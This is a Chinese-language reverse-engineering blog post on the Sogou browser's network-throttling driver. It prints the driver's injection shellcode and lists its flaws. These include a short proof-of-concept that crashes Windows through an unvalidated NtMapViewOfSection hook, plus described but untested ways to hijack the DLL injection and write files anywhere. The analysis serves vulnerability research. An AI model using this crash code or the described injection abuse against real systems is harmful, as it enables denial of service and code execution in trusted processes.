搜狗浏览器网速保护 功能/漏洞/缺陷 分析

软件版本 2.2.0.1423
驱动版本 1.0.0.9

主要功能就是对耗流量的下载软件进行限速

★.r0 挂钩TCPIP的handler 拦截发送包
★.r0 hook NtMapViewOfSection 加载mswsock.dll时向r3中注入sogouipfilter.dll,将WSPStartup EAT hook至一段shellcode , 然后加载sogouipfilter!WSPStartup2 并在WSPStartup2函数中
挂钩lpProcTable 的发送和接收参数

如果找不到netopt.se的名单文件,默认注入的进程名单是
ThunderService.exe thunder5.exe qqdownload.exe bitcomet.exe utorrent.exe btdownloadgui.exe bitspirit.exe emule.exe edonkey2000.exe vagaa.exe
pplive.exe ppstream.exe qvodterminal.exe

下面是shellcode内容

017F0000 > 56              push    esi
017F0001    BE 3A007F01     mov     esi, 17F003A
017F0006    8B46 08         mov     eax, dword ptr [esi+8] ;0100dc80 WSPStartup2的地址
017F0009    85C0            test    eax, eax
017F000B    75 1F           jnz     short 017F002C
017F000D    8D46 20         lea     eax, dword ptr [esi+20]
017F0010    50              push    eax ;sogouip 路径
017F0011    FF16            call    dword ptr [esi] ;LoadLibraryA "sogouip"
017F0013    85C0            test    eax, eax
017F0015    74 0C           je      short 017F0023
017F0017    8D4E 10         lea     ecx, dword ptr [esi+10] ;"WSPStartup2"
017F001A    51              push    ecx
017F001B    50              push    eax
017F001C    FF56 04         call    dword ptr [esi+4] ;GetProcAddress
017F001F    85C0            test    eax, eax
017F0021    75 06           jnz     short 017F0029
017F0023    8B4E 0C         mov     ecx, dword ptr [esi+C]
017F0026    5E              pop     esi
017F0027    FFE1            jmp     ecx
017F0029    8946 08         mov     dword ptr [esi+8], eax
017F002C    8B4E 0C         mov     ecx, dword ptr [esi+C]
017F002F    5E              pop     esi
017F0030    5A              pop     edx
017F0031    51              push    ecx   ;原地址? 719cc29b
017F0032    52              push    edx
017F0033    FFE0            jmp     eax

;17F003A开始的数据结构
;LoadLibraryA addr
;GetProcAddress addr
;WSPStartup2地址   另外一个数据表中存放的是WSPStartup3地址 相应的下面也是WSPStartup3的名字
;mswsock.dll!WSPStartup
;"WSPStartup2"
;"sogouip.dll" path

★.DeviceIoCtrl中的功能,具体功能码请到IDA中自己看
1.shellcode 从WSPStartup2切换到WSPStartup3

2.拷贝一个文件到sogou的安装目录下

3. r3传入;LoadLibraryA addr;GetProcAddress addr;WSPStartup2地址;mswsock.dll!WSPStartup地址 这个过程也可以在ssdt hook中完成

4.Recv Set TCPInfo to drop

★.漏洞和缺陷

1.ssdt hook 对参数毫无过滤,导致bsod

.text:00013152                 mov     esi, [ebp+BaseAddress] ;BaseAddress存入esi
.text:00013155                 push    [ebp+InheritDisposition]
.text:00013158                 mov     ecx, [ebp+ProcessHandle]
.text:0001315B                 mov     ebx, [ebp+SectionHandle]
.text:0001315E                 mov     eax, [ebp+OriginFunc]
.text:00013161                 mov     [ebp+var_1A4], edi
.text:00013167                 push    [ebp+var_1A4]
.text:0001316D                 xor     edi, edi
.text:0001316F                 push    edx
.text:00013170                 push    [ebp+CommitSize]
.text:00013173                 mov     [ebp+Object], edi
.text:00013179                 push    [ebp+ZeroBits]
.text:0001317C                 mov     [ebp+var_1B4], edi
.text:00013182                 push    esi
.text:00013183                 push    ecx
.text:00013184                 push    ebx
.text:00013185                 mov     [ebp+mdl], edi
.text:0001318B                 call    eax          ;调用原函数
.text:0001318D                 cmp     eax, edi
.text:0001318F                 mov     esi, [esi]   ;毫无判断,BSOD

比如构造如下代码

HMODULE hdll = LoadLibrary(L"ntdll");

ULONG addr = (ULONG)GetProcAddress(hdll,(LPCSTR)"NtMapViewOfSection");
_asm
{
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   call addr;
}

2.通过修改改注册表和下发ioctrl,可以替换注入的dll,实现注入,注入到受信进程里,想干啥干啥(注入名单文件是加密的 要解密 解密函数详见IDB)

3.通过修改改注册表,可以向任意目录写入文件,绕过一些保护

后两个内容没有实践~但从分析上看,只要满足一些条件,应该是可行的~具体看IDB吧~他程序里的判断都很好绕过..........

IDB和一些相关资料:点击下载


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值